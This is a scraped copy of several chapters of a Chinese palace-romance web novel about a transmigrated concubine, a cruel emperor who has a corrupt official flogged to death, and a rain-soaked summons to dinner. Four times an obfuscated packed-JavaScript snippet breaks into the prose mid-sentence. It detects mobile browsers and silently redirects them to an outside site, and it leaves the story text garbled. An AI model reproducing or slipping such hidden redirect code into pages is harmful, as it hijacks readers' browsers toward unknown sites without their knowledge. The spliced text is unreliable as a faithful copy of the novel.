薛夷光站起身,随意整理一下凌乱的发丝,动作语气都很漠然:“本宫自然知道自己是谁养大的,何须你一而再再而三的提醒本宫?”
养大我的哪里是你们这破越国,还想道德绑架我,我可去你的吧!
上这破班,真的是与其精神内耗自己,不如发疯外耗别人。
薛夷光笑嘻嘻看向两个丫鬟:“若是你不愿意听我的,那不如你们去把薛妙霜找来。她可是大公主,比我更加锦衣玉食,更是受了越国不知道多少的供养,你们怎么不随她来和亲呢?是不想吗?”
她打量红螺和翠羽气得涨红的脸,倏然弯起粉嫩如花瓣的唇。
“哦,原来你们不是不想,而是你们那位识大局知大体的越国大公主灰溜溜跑路了呀。”
薛夷光摊手:“哎呀,这可没办法了,现在只有我这位自私自利的二公主接了这要命的苦活了,你们不愿意,也只能憋着了呀。”
红螺和翠羽气得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127979|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浑身打战,她们想要反驳,大公主殿下品性纯良高洁,并不是二公主口中逃避责任,自私自利的人。可是现实摆在眼前,她们又无法睁眼说瞎话。
薛夷光懒得理她们,又唤来方才前来禀报的宫女,并一个在殿前守值的宫女,温声询问:“你们叫什么名字?”
方才禀报的小宫女忙道:“奴婢叫颂书。”
另一个宫女道:“奴婢叫临画。”
薛夷光道:“那颂书、临画从今天开始便由你二人近身伺候,你们是我的贴身大宫女了,你二人同我去前殿见云美人。”
颂书、临画二人脸上闪过喜色,连忙道:“是,娘娘。”
薛夷光直接往前走,抛下气得浑身颤抖的红螺和翠羽,带上颂书和临画,走到了前殿中。
云姎正坐在一旁,慢条斯理的喝茶。
她面上含着淡笑,余光见了薛夷光便起身,正要行礼,却因她的打扮而惊讶。
薛夷光只穿着极其素雅的天水碧色诃子裙,外罩一件雪色大袖披衫,浑身无任何金银宝石装饰,显得格外清爽朴素。
她一头乌发也并未梳成各种精巧发髻,而是随意舒适的挽了一个松松的发髻,用一枚温润小巧的白玉簪子固定。
这过于素雅的打扮,对于宫妃,特别是刚刚承宠的宫妃来说,实在是少见得很。
云姎还以为薛夷光会打扮得花枝招展,一心想要给自己一个下马威呢。
她自持自己是一国嫡张公主的身份,本来想要压薛夷光一头的,但没想到,自从来了这周国,反而是这越国公主一直压自己一头,无论谁位份还是恩宠,她都落后了薛夷光一截。
心里虽然不甘,但云姎还是朝薛夷光低头行礼:“云姎见过姐姐。”
薛夷光打起精神笑笑:“妹妹你来了,快快请坐,快快请坐。”
她说着就坐到了上位,也不知同云姎能说什么话,便沉默下来。
薛夷光虽然喝了浓茶,但也只喝了半杯,现在困意又翻涌上来,她只想快点送走云姎就上床睡觉。
她打了个哈欠,云姎一直细细打量她,就发现这薛夷光一双黑白分明,明亮漂亮的眼里氤氲了盈盈水汽,似一汪春水,让人多看一眼也觉得心神微荡,魂消骨酥。
那上翘的眼尾也微微发红,无端端显得妩媚多情。她这般随性慵懒的模样,困倦懒怠,一看便知她昨夜操劳过度,恩宠过多,实在是难以消受了。
这薛夷光确实是个少见的美人,难怪昨夜周帝初初云雨,便没有把持住,令她一副不堪承宠的模样。
不过薛夷光这副模样,也难免没有向她示威的意思。
云姎想着自己同薛夷光明明一块觐见,如今两人的差距却越来越远,又见薛夷光手杵香腮,快要睡过去的模样,心中不是滋味。
“姐姐圣眷浓重,当真令妹妹艳羡。姐姐困倦得要流泪了,若是这般,我倒不好打扰了,看来妹妹只能下次再来找姐姐讨教些让陛下喜爱的方法了。”
云姎说着就要起身告辞。
薛夷光听着云姎误会的话,她眨眨眼睛,忍住真要流出来的眼泪。
她起身,没有反驳,直接送客:“今日我实在困倦,无法待客了,还请妹妹见谅。等明日我休息好了,再到妹妹拾翠殿里玩。”
她心里却心道,我为什么眼含热泪,当然是因为我困得要死。
不然就裴恕那座永不爆发的火山,他除了让她熬夜读经,嘴硬让她故意给他穿穿衣裳,其他的,连弄她一点口水的本事也是一点也没有的。
什么恩宠不恩宠的,他只是她的寿命贩卖机啊。
7. 第 7 章
午后忽然下起了簌簌小雨,整个宫城被朦胧烟雨笼罩其中。宫台楼阁湿漉漉的,高啄的檐牙上蟠龙瑞兽姿态各异,都沐浴在温柔绵密的细雨之中。
薛夷光想着自己还有十八天寿命,她很是心大的放下抄书大业,打了个哈欠,就躺回了自己香软的床上,舒舒服服的闭上了眼睛。
话说,这下雨天和睡觉真是绝配啊!躺下来骨头都松软了!
一夜没睡,她闭上眼睛片刻后就沉沉酣睡过去。
天色越发暗沉了,御书房中的宫人们轻手轻脚的点上了烛火明灯,将殿内照得通明肃穆,宛若白日。
裴恕在幢幢灯火中一手执御笔,一手翻看着一本奏折,柔和灯光难掩他周身雍贵清肃之气。
总管大监肖正祥魁梧高大的身子站于御案之下。他低眉敛目,无半点声息,像一只蛰伏的兽。
四下寂静无声,只隐约可见殿外廊檐下雨势渐大,黑云压城。
紫檀龙纹御案下方,左右各对设四把酸枝木太师椅,并配了精致凭几。
殿中香兰吐露芬芳,当今陛下允文允武,左面博古架上摆着文玩古物,翡翠雕成的越国、卫国优美而富有特色的山水盆景。
右面却是一个满含煞气的武器架,架子上挂着当今擅用的宝剑强弓、刀枪戟鞭、飞刀、盾牌等等。
描金檀木上,一只神俊矫健的鹰站在其上,锐利的眼眸炯炯有神。
此刻,殿中那八把酸枝木太师椅上无一人端坐,殿下却齐齐跪着七位身着红色官服,头戴梁冠,脚踏云履,官服补子上绣飞禽,年龄不一的官员。
他们额角冒出冷汗,最前方那位年岁大些的老大人,已经是头晕眼花,身子发颤,极力控制自己不要殿前失仪了。
一旁立着的是同样着绯袍,补子绣走兽的青年官员,他倒是神态沉静,不露声色,腰上配着一柄长剑。
裴恕放下御笔与奏折,施施然喝了一口茶水,抬眼朝殿下看去:“诸位,今日真是雨天留客啊。程尚书,可知朕为何单单留了你们吏部的七人?”
程玮颤巍巍道:“老臣不知,还请陛下明示。”
裴恕眉眼未动,只把玩起桌面上放的一把小弩,语气慵懒:“口称老臣,看来你确实老了,御下手段也愈发软弱无力。”
自吏部尚书之下的吏部左右侍郎,以及文选、验封、稽勋、考功四个清吏司心里一突,只感觉自己浑身发冷,半只脚已经踏进了血雨腥风的幽冥之中。
程玮更是老脸涨红,他终于猜测到可能是下面的这六人出了问题了,他只能嘴唇颤抖的认罪:“老臣羞愧无能,年迈软弱,求陛下恕罪。”
裴恕神色平静的笑谑:“朕自来体恤老臣,谢统领,你快将这老迈之臣扶起来坐好。以免他栽倒在朕的御书房中,倒传些朕刻薄之语出去。”
站着的金吾卫统领谢辞章,闻言就要来扶程玮。
程玮哪里还敢坐下,他连忙拒绝,:“陛下体恤老臣年迈,特意赐坐,乃是君上的宽容体恤之心。可老臣御下有失,实在无颜再座。臣,臣还是跪着的好。”
裴恕轻笑:“既然程尚书不想坐,那朕就不勉强了。谢统领,你来告诉吏部,今日朕留他们,到底所为何事。”
“微臣遵旨。”
谢辞章起身,抬眼扫向吏部七位官员,目光最后在考功清吏司文修亭上停住。
文修亭抬眼一看,早已慌乱的心中更生了深深的恐惧。
谢辞章也果然将火烧到了他身上:“听说文大人近一两年来多了个雅好,格外喜爱那些名家丹青墨笔,古董文玩?”
官场之中的官员们自持身份,常常又要钱又要面儿。
明明是收受贿赂这种丑事,不知何时,竟也冠上了“雅贿”之名。
他们嫌弃真金白银的过于铜臭俗气,又容易惹火上身,还是那字画文玩,古董器物既高雅值钱,又不容易被说成是贪污钱财。
文修亭瘦削的身子肉眼可见打了个冷噤,想起当今铁血手段,他内心已然溃败,只能膝行上前,面色惨败如纸,连声气也是抖着的。
“禀陛,陛下,谢大人,微,微臣近年来是多了,多了这么一个俗好。”
裴恕不喜不怒,嗓音清和了些,反而让在场官员都吓得快要晕厥过去。
“只是俗好吗?朕只给你文大人一次机会,好好说话,不然朕什么脾性,想来你是知道的。”
文修亭自然知道当今的手段,只听了这还算温和的一句,他就知道自家身家性命都难保了!
他神魂大乱,满腔皆是恐惧与后悔。
他如同一滩烂泥般委顿瘫软在地,只能凭借最后的力气抖得像筛子般连连磕头。
“陛下,臣罪该万死,臣实在不该贪污受贿。罪臣错了,真的错了。”
文修亭哭得涕泗横流,既狼狈又可怜。
可现场无一人可怜他,吏部一位尚书两位侍郎,以及考功清吏司以外的三司,被牵连得跪在此处,战战兢兢好半天。
他们只恨不得将文修亭好生唾骂上几顿,以解心头之恨。
吏部尚书心里更是失望至极,也觉得羞愧至极,因为算下来,文修亭是他提拔的,还算他的门生。
程玮不觉想起,其实前几年文修亭理事也还算公正,近两年大周越发繁盛富裕起来,他也跟着生出这贪欲来。
可惜这师生关系,害得自己一大把年纪了还要蒙受耻辱。
程玮心中痛悔,他一贯好名声,年轻时手段不错,老了老了,这两年心思就松懈宽和了许多,手上也放了些权力,没想到如今晚节就要不保了。
裴恕冷笑,随手丢了本折子下去,直直的砸中户部尚书程玮的头,将其砸得头晕眼花。
“文大人,你是考功清吏司的,本就肩负官吏的政绩考核、升职降职、罢官处理一应事宜,结果这好好的差事反而成了你雅贿的好台子了。”
“你们其余三部,两个侍郎,一个尚书竟然这么久也没发觉什么问题,你们吏部当真是玩忽职守,监管不力。”
七人冷汗涔涔,连忙告罪:“臣等错了,还请陛下息怒,万望保重龙体。”
“保重龙体?不被你们气死就是好的!”
裴恕看了眼程玮,哼笑道:“吏部尚书,你来念折子给你们部的人听听,这两年来,文修亭到底收了多少好玩意儿。”
程玮只好捧起折子开始念了起来。
“罪臣文修亭,受贿古董镶金兽玛瑙杯四对,青花梵文高足瓶一对,碧玉玲珑棋盘及棋子若干,金镶玉菱花镜五面,上好玉佩数枚,名贵字画八副,孤本古籍若干……”
名目繁多,价格越来越昂贵,都是文人喜爱的雅物,雅趣。
文修亭已经吓得肝胆俱裂了。
他的座师程玮越发念不下去,只伏跪在地,那模样越发老迈了:“臣如此失察,实乃重罪,老臣罔顾了皇恩,真是羞愧至极啊!”
两吏部侍郎并其余三位使司也连连告罪。
话说到此处,已经无甚意思。
裴恕放下手中小弩,神情冷淡。
“宣朕口谕:罪臣文修亭利用职权之利贪污受贿,欺上瞒下,今罚其废官抄家,赐当庭杖毙!女眷剥夺诰命,贬为庶人。”
“吏部尚书、左右侍郎、三使司六人均罚俸禄两年,官职各贬一级,赐今日雨中观刑。”
“曾与文修亭勾连受贿者皆罚俸三年,考评均为不合格,官降一职。两年内,若其无法将功折罪,则官职再降两级。”
文修亭没想到今日便要赴死,他目眦欲裂,张口欲要求情,便被谢辞章立即捂住了嘴。
不知何时,一行金吾卫已然立于殿中,生擒了无力挣扎的文修
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127980|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亭。
谢辞章故意对吏部尚书程玮,以及另外几人和和气气询问:“各位吏部的大人,咱们观刑去。不过现下雨太大了,可需我为大人们寻几把伞来,免得淋坏了贵体?”
程玮同五个吏部官员吓得脸色惨白,连忙拒绝。
裴恕却朝谢辞章笑道:“谢爱卿就一路坐御轿打伞去,像你这样的忠臣,淋病了朕可心疼得很。”
吏部之人脸上颜色更是红红白白,青青黑黑的。
谢辞章朗声笑着谢恩了。
雨下得越发大了,裴恕抬眼看向殿外。
他一双上挑狭长的凤眼深深瞧向殿外重重雨帘,耳边好似听到了沉重的杖责之声,眼前好似见到了殷红血污滚滚淌到地上,一群红袍官员站在雨中观刑,被吓得瑟瑟发抖。
今日这出好戏,叫那爱财者骤然失财败家殒命。
爱名袖手渎职者骤然晚节不保,羞愧欲死。
监察不力玩忽职守者则被敲山震虎,肝胆欲裂,暂时几年不敢对他不尽心,不敢伸爪子。
裴恕其实打算全杀了换人,但克制住滚滚杀欲后,他反而笑了起来,觉得这般处理也不错。
眼见当今雷霆将息,肖正祥才上前让人重换了一盏热茶,脸上笑纹浮现:“陛下,那薛婕妤身边的颂书还在暖阁那儿等着呢,可要见见她?”
裴恕听到薛婕妤三个字,不知怎么,本就尚好宁和的心情竟然越发浮燥兴奋起来,浑身都有些燥热。
他下意识将领口敞开了些,心里对自己反应感到奇怪。
不知是因为薛夷光言行的巨大反差惹得自己心生探究趣味,还是因为她生得过于美貌,又合了自己的审美而触了他难以言说的瘾头,反正自己就是莫名其妙的关注她。
裴恕定神:“叫她过来。”
颂书一进殿中,便垂目跪下,细细禀告蓬莱殿中之事。
“回主子,今日娘娘自陛下走后便继续抄书。红螺、翠羽两个丫头让她讨好陛下、斗艳云美人之语,惹得娘娘很是不喜,便不让她二人继续近身伺候,反而提拔奴婢和临画做贴身大丫鬟。”
“娘娘抄书两刻后,带奴婢和临画见了云美人。见完人之后去,娘娘就睡觉去了。”
颂书一边说,一边惟妙惟肖的模仿薛夷光、红螺、翠羽、云姎的语气和神态,将今日所见场面呈现得真实而别无二致。
裴恕眉眼沉静的听完,越发觉得颂书口中这个看似温和单纯却并非没有棱角,懒得同人争奇斗艳,也不想争宠媚上,嘴里说着爱极了他,言行却又不相符合的薛夷光,同他印象当中薛夷光简直一点也不一样。
裴恕刚才审问吏部时,也已经看过薛夷光的情报,确定了越国并未换人,薛夷光也没有同胞相似的姐妹。
这事儿越发有趣了。
裴恕唇角含笑:“颂书,可拿了薛婕妤抄过的字纸?”
“陛下,奴婢拿了。”
颂书果从袖中拿出一页薛夷光抄写《清静经》的字纸,双手呈上。
肖正祥亲自拿了上来,放到裴恕案边。
裴恕看了眼薛夷光今日写得这张字纸,又同他令人搜罗来的,薛夷光以前写的字纸对比,发现字迹别无二致。
他眼中兴味浓了些:“真有意思,人是一个人,怎么短短几个时辰,她就好像换了魂魄一样,言语性情完全发生了变化。”
世事无趣,裴恕很久不曾感到如此好奇了,他索性放任了自己对薛夷光的兴趣与在乎。
他看了看外边狂风呼号,暴雨大作,闪电刺目,雷鸣震耳的场景,露出愉悦的笑:“令薛婕妤即刻到御书房暖阁伴驾,同朕赏雨用膳。”
按照她如今的脾性,想来她愠怒起来,神情也格外动人。
肖正祥看了眼外边格外难走的环境,心里对陛下时不时的恶劣性格,感到无奈。
8. 第 8 章
春潮带雨晚来急,虽是天气渐暖,但这一场大雨,若是只穿单薄的衫子,还是有些寒凉。
可若是躺在被子里,那就格外舒服了。
这格外舒适的环境里,薛夷光睡得正是酣甜,耳边却传来两道轻柔的呼喊。
“娘娘,陛下召您伴驾,咱们该醒来去御书房了。”
暖黄烛光之中,薛夷光脑袋发懵的拥着被子坐了起来。
耳边是哗哗哗的雨声,雨线连绵不断,重复落在地面。窗边可见到闪电刺破夜空时的亮色,间隔了一会儿,屋外就响起了震耳的雷鸣。
薛夷光怀疑自己听错了,她看向床边围着的颂书和临画,睡眼尚且朦胧。
“不知道我是不是在做梦,刚才怎么好像隐约听见你们说陛下要见我?”
临画让小丫鬟捧了洗漱的水来,颂书扶着薛夷光从床上起身,面上满是喜意,一双杏眼更是笑弯了。
“娘娘可没有做梦,陛下确实召您到御书房暖阁伴驾,共进晚膳,说起来,您还是第一个到御书房伴驾的娘娘。”
薛夷光顺着她的手起身,走到梳妆台前坐下,目光注视着关紧的窗子,眉头轻蹙。
“这又是刮风又是下雨的,这样糟的天气,我真要出门?”
临画亲自拿了洁净柔软的面巾放到温水之中浸透,脆生生笑道:“陛下召见,莫说是天下大雨,就是下刀子也都要去的。”
“昨儿个陛下宿在娘娘这里,今日下雨都要遣人来接娘娘前去陪伴,看来陛下心里是有娘娘的,所以才片刻都离不得您,这可是天大的福气啊!”
薛夷光深深吸了一口气,任谁一天之内被这样折腾都有些生气:“......这天大的福气给你,你要不要?”
离不得我?我看他就是看不得我好过,就可劲儿的乱折腾。
颂书闻言身子僵住。
临画脸色立即白了,连忙跪下:“娘娘,奴婢对您忠心耿耿,绝无二心。奴婢乃卑贱之躯,从未有这般胆大包天,背主攀附的想法啊!”
薛夷光看着临画含泪的眼,才反应过来,她刚才随口接的梗让临画误会了。
看她给人临画吓得,脸上都没有血色了。
薛夷光忙扶起临画,歉意道:“抱歉抱歉,好临画,你别在意,我就是顺嘴接了句话。我其实不是那个意思,是不是吓到你了?快起来,别跪着了,地上可凉的。”
薛婕妤过于恳切平易的态度,不太像一国高高在上的公主,也不像养尊处优的妃嫔,临画也感觉讶异,就顺着她的手站了起来。
薛夷光怕自己在把人吓哭,只好笑了笑:“好了好了,我们继续梳妆吧,不好让陛下久等。”
临画回神,连忙与颂书一道给薛夷光梳妆起来。
乌黑顺滑的发丝被巧手快速挽成慵懒风情的堕马髻,头发上没戴那些过重的头面,只攒上两枚小巧精致的累丝嵌珠翠钿,插上一把玉花鸟纹梳,斜攒上小巧的芙蓉绒花在鬓边。
等换上一套厚些的浅红襦裙,披上披风,薛夷光这才起身朝外走去。
到了廊下,一架银顶金盖,檀木镀金,绣着龙纹祥云的御轿就停在庭前石阶上。
御轿前挂了两盏精巧花鸟纹的羊角宫灯,里面灯火燃得很亮。四个头戴斗笠,身着蓑衣的太监安静站在廊下等候。
雨水哗哗从屋檐滴下,前方雾蒙蒙一片,视线已然不清晰了。
见了薛婕妤,他们躬身行礼,面含讨好笑容:“奴才们见过娘娘,敢问娘娘,您可要前往御书房了?”
见到他们,想到一会儿他们还要淋雨抬轿,薛夷光心里闪过一抹浓浓的同情和感同身受。
绝不是她同情心泛滥,更不是她圣母病发作。大清早就亡了,薛夷光相信,不是每个人普通人穿到古代,都能立即适应这主子奴才的一套。
更何况,随着年龄和经历的增长,她看电视剧和小说,很多时候已经带入不了主角,只能带入丫鬟、侍卫、普通老百姓,乃至路边的路人甲。
现下看到一会儿要在雨里抬轿子的太监,她纯粹是联想到大雨天骑小电,或坐地铁去上班的自己。
这或许是打工人都有的共情吧。
薛夷光看向四位太监,温声道:“四位免礼,劳烦你们送我去御书房了。”
四个太监都纷纷拱手:“娘娘客气了,这是奴才的本职。”
薛夷光看向各自拿了一把油纸伞的颂书和临画,小声询问:“我们没有准备打赏的钱吗?”
“有的,还望娘娘勿怪。”
颂书将手里的油纸伞递给临画,取了四个装了银锞子的荷包,踮脚凑到薛夷光耳边,抬手掩唇。
“之前红螺、翠羽两位姐姐待娘娘不够尽心,娘娘就不让她们跟前伺候了。奴婢不敢耽误怠慢娘娘的事,就自作主张,从红螺姐姐那接过了打理娘娘私库的差事。”
好家伙,颂书也太棒了吧!
她这不声不响的就能从红螺那反骨仔手里将打理私库的重要差事弄过来,实在厉害。
薛夷光心里欢呼了一下,她看着颂书,眼里的欣赏满溢了出来:“你也太好了吧!一会儿顺利回来,咱们去私库里看看,有没有你和临画喜欢的。”
“当不得娘娘夸奖,娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127981|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘严重了,这是奴婢该做的。”
颂书温婉谦逊一笑,将四个荷包分别给了四个太监:“公公们辛苦了,一会儿拿这些去喝点暖茶吧。”
四个太监纷纷向薛夷光道谢。
临画小心翼翼的打着伞,薛夷光在大雨中弯腰坐进了御轿之中,半点也没有淋湿。
御轿稳稳的开始在宫道之中行走,薛夷光听着雨声,心里将这吃人压迫的封建主义,将裴恕这个封建头子骂了几十遍。
“嘭嘭嘭,嘭嘭嘭——”
经过一处宫墙,隐约有重物沉闷击打的声音混着雨声传来。
薛夷光疑心自己听错,她怕雨水飞溅进来,只轻轻掀开轿帘小角,目光溜了出去。
茫茫雨水之中,刚好就路过一道赤红镶着钉子的宫门。
薛夷光一眼就看见,那朦胧雨里,两个魁梧的男子一左一右站在长凳旁边,手持沉重的木板,相互配合,一下一下砸向长凳上捆着的人。
那板子又重又闷,力道过大的行刑声,连大雨也无法完全掩盖。
不知那地上是否也淌满了鲜血。
一旁还站着几个身着朱红官袍的人,隐约只一人打伞,其余人连伞也没打,就那般直挺挺的站着雨里看。
画面转瞬即逝,几滴冰凉的雨飞溅进来,落在薛夷光面颊上。
凉风扑面,她放下轿帘,抬起颤抖的手,将脸上的雨滴擦去,身子微微颤抖。
这裴恕,杀性果然重。
他竟然就在宫里杖毙官员,还让人观刑。
看来他今日心情很不好,他也不是被她美色迷惑的昏君,可为什么偏偏还让她去御书房半驾呢?
裴恕又是个喜怒无常的,万一她哪句话得罪了他,不会被人也拖出来杖毙吧?
薛夷光想了想方才那个场景,只觉得要被吓死了。
44444安慰了她两句:宿主放心,没事哒,没事哒,应该死不了的。
薛夷光神色害怕:根本放不了一点心,我实在没招了呀,生活难道就不能善待我这个二旬老人吗?
思来想去,毫无办法的薛夷光只好重新用起自己用过老办法。
她悄悄在轿子里练习笑容和眼神,催眠自己裴恕就是人见人爱的人民币,她喜欢他喜欢得不得了。
薛夷光心里开始疯狂的打草稿和背诵向上社交的台词,只求今天这条小命能苟下来。
轿子稳稳当当的落了下来,轿外颂书的嗓音越发柔和:“娘娘,御书房暖阁到了,请娘娘下轿。”
薛夷光苦笑。
完了,半只脚恐怕又要踏鬼门关了。
9. 第 9 章
薛夷光在风雨中下了轿子,她深深吸了一口气,稍稍平缓心中的紧张,走进了御书房暖阁之中。
暖阁用楠木雕花隔断分成了三间,左侧一间乃是一池温泉,右侧陈设书架雅器,是为静室。中间隔间名唤“中正堂”为帝王用膳、看书学习、与臣子私下对奏问策之处。
薛夷光走进中正堂,她脚下踩着柔软昂贵的地毯,走在其上,半点声响也无,几乎只能听见自己的心跳声。
堂内画屏金碧,兰草青葱,雕花隔断上有彩色堆纱绘制的忠孝仁义典故。烛火倒映在左右两大雕花镜屏中,使得堂内更加明亮。
薛夷光一抬头就瞧见阁子上方挂了书写圆润端方,雍容大气的匾额,上书“中正仁和”四字,想来也是这暖阁名字的由来。
中正二字,警醒帝王要秉持公正无私的持政态度,行中庸之道,不要过分偏激。仁和二字,则是提醒帝王要仁爱和谐,勿要暴虐肆意。
裴恕凤眸冷寂锐利的坐在食案边,他手捧一盏香茗,唇角虽然有浅淡笑意,可那一身清贵雍容,冷淡克制的气质,也绝对称不上“中正仁和”。
这狗皇帝,真是让这块匾额蒙羞了。
薛夷光心里吐槽,对上裴恕深邃的眼神,她眉心一跳,立即压住心里的想法,挤出笑容行礼,夹住声音:“臣妾见过陛下,陛下万安。”
裴恕轻笑,未曾叫赐坐:“朕不安,薛婕妤可有万安之法?”
薛夷光笑容一滞,她维持行礼的动作,抬起一双盈盈桃花水眸询问:“陛下富有四海,为何不安呢?臣妾虽然无甚本事,但若是陛下愿意,臣妾也愿意为陛下分忧的。”
裴恕放下茶杯,指了指自己食案的位置:“婕妤有此心,不如坐下同朕一边用膳,一边听朕细细道来。”
薛夷光不知这裴恕搞什么幺蛾子,她心里提了一口气,缓缓走到食案前坐下。
太监侍女们上了好些吃食。
转眼食案上摆了风味浓郁的腊味合蒸,鲜美飘香,肉汁满满的蟹粉狮子头,色泽樱红,酥软肥美的樱桃肉,清新爽口的五宝鲜蔬,软糯鲜美的笋丝瑶柱羹,道道精致味美,让人垂涎欲滴。
薛夷光本来就很饿了,可是为了小命,她只得尽心尽力的为裴恕布菜,间隙才能吃上一两口。
裴恕本来无甚胃口,可看着薛夷光分明很有食欲,却不得不克制的样子,他就感觉食欲大开,支使明明不情不愿的薛夷光给他夹这夹那。
薛夷光忍住翻白眼的冲动,果然,刚才什么安不安的,那都是借口,他就是故意捉弄她。
“这道蟹粉狮子头味道不错。”
薛夷光赞同,又夹了些给裴恕:“臣妾也觉得不错。”
她打算也吃一些,裴恕见状又道:“那樱桃肉更合朕的胃口。”
薛夷光压住想要吃饭的欲.望,殷切的给裴恕夹了一些:“那陛下就多吃一些。”
裴恕慢条斯理,举止优雅的吃饭,每每在薛夷光要动自己筷子时开口。
“这笋丝瑶柱羹真是鲜美。”
“吃腻了肉食,来些蔬菜解腻。”
太饿了,说是让她陪皇帝用膳,结果纯纯就是她在伺候,他在吃呀,这怎么能不算一种酷刑呢?
这薛夷光咽了咽口水,心里有些委屈了。
裴恕见她弯弯的眉毛无知觉的蹙起,眉下一双眼尾上翘的桃花眼暗藏渴望的看着食案上的吃食,眼里的委屈快溢了出来,樱唇如花柔软,也微微抿着,压抑着情绪。
她容色姝丽,此情此态,怕是心如铁石之人见了也要化为绕指柔。
裴恕自问克制,可见了此光景,竟也少见控制不住的柔软了些:“朕饱了,婕妤可慢慢吃。”
薛夷光不敢置信的睁大眼睛,一抹惊喜化开了皱起的眉头,她唇角控制不住弯了起来:“多谢陛下。”
裴恕坐在一旁,目光淡淡的看她用膳。
她用膳动作不慢,但也并无粗鲁感。吃到好吃的,眼睛就亮晶晶的,说不出的顾盼神飞。那唇如糖渍樱桃,微微沾了水色后,显得更加红润。
裴恕沉沉的目光不觉在薛夷光唇上停留一瞬,又不着痕迹的移开。
等薛夷光用完膳食,沉浸在吃饱喝足的惬意中,便听裴恕语气格外平静的询问:“你那两个越国来的丫鬟不要了?她们可是忠心耿耿,一心为你,为越国考虑呢。”
薛夷光思索,在周国的地界上为越国考虑,这不就是在通敌吗?
她知道自己一定要表明忠心和立场了:“陛下,臣妾既然成了您的妃嫔,自然就是大周国人了。臣妾心中爱慕您,也是站在您这边,只为陛下考虑的。至于那两个丫头,不过是还没适应,不大会说话,臣妾已经罚了她们了。”
裴恕垂眸,无意义的笑了一声:“你倒是心软。你说你站着朕这边,方才又说愿意为朕分忧,那你是什么都愿意为朕做了?”
怎么可能?她又不傻。
薛夷光心里一虚,面上强撑了一抹坚毅,张嘴就是表白:“臣妾心甘情愿,因为妾爱您入骨。”
爱他入骨?
裴恕心里哂笑,从来无人敢跟他说爱这个字。可是每一次见这薛夷光,她都胆大包天的说爱他,简直可笑荒唐又格外有趣。
他倒是要看看,她到底有多言不由衷。
下巴突然被修长白皙的手指捏着抬起,薛夷光瑟缩了一下,感觉裴恕的手力道不大,但太热了,她有些不适应。
对上他暗沉的,含着莫名笑意和打量的眼睛,薛夷光心里惧怕起来,不知道裴恕又发什么神经,但他的样子,真的让人感到心惊肉跳。
裴恕细细盯着薛夷光这双漂亮的眼睛看了看,虽不知那可笑的爱会以何等模样在这双妙目中展露,但她眼里分明只有深藏的惧怕。
薛夷光口口声声说爱他,不管是她求生的装模作样,还是什么原因,他都不想去计较。他只想要瞧一瞧,她能为了她口中的“爱”他,忍耐到什么地步,做到什么程度。
他很快收回了手,起身道:“时候不早了,婕妤便伺候朕沐浴吧。”
44444不知什么时候上线的,听了这话,它立即兴奋了起来:宿主宿主,解锁浴池play的任务就在今天完成啦!
薛夷光懒得理这满脑子废料破车的系统,她神色很是不解:“啊?伺候沐浴,我吗?”
伺候沐浴,裴恕不是不喜欢别人近身吗?更何况原文都说了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127982|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他有忄生瘾,也反感别人触碰到他一丝一毫的皮肤。早先有宫女擅自爬床的,都被他让人拖出去砍了。
她万一没弄好,也被砍了怎么办?
44444立即反驳:他刚才主动摸你的下巴,也没砍你呀,可见你对他是特殊的。
薛夷光却已经害怕起来。
肖正祥哪里见过陛下主动点人伺候沐浴的,说起来,陛下对这薛婕妤可真是特殊啊!
他连忙提醒一旁的薛夷光,嗓音格外温和:“娘娘,您快跟上啊。陛下爱洁,每日都要沐浴,暖池屏风上有备好的衣裳。陛下不耐热,常爱在沐浴时喝些冰镇过的饮子,那饮子就在暖池边。”
薛夷光感激道:“多谢公公提点,我知道了,我这就去。”
她连忙跟上裴恕。
屋中水汽缭绕,中间赫然就是一方温泉暖池。
池子四周的小兽口中吐着清泉,空气有裴恕常熏的龙涎香,薛夷光才进去就感觉自己被包裹在这香气中,里里外外都被浸透了。
她心里慌乱,伺候人沐浴的活,她从未做过,根本不知道怎么做啊!
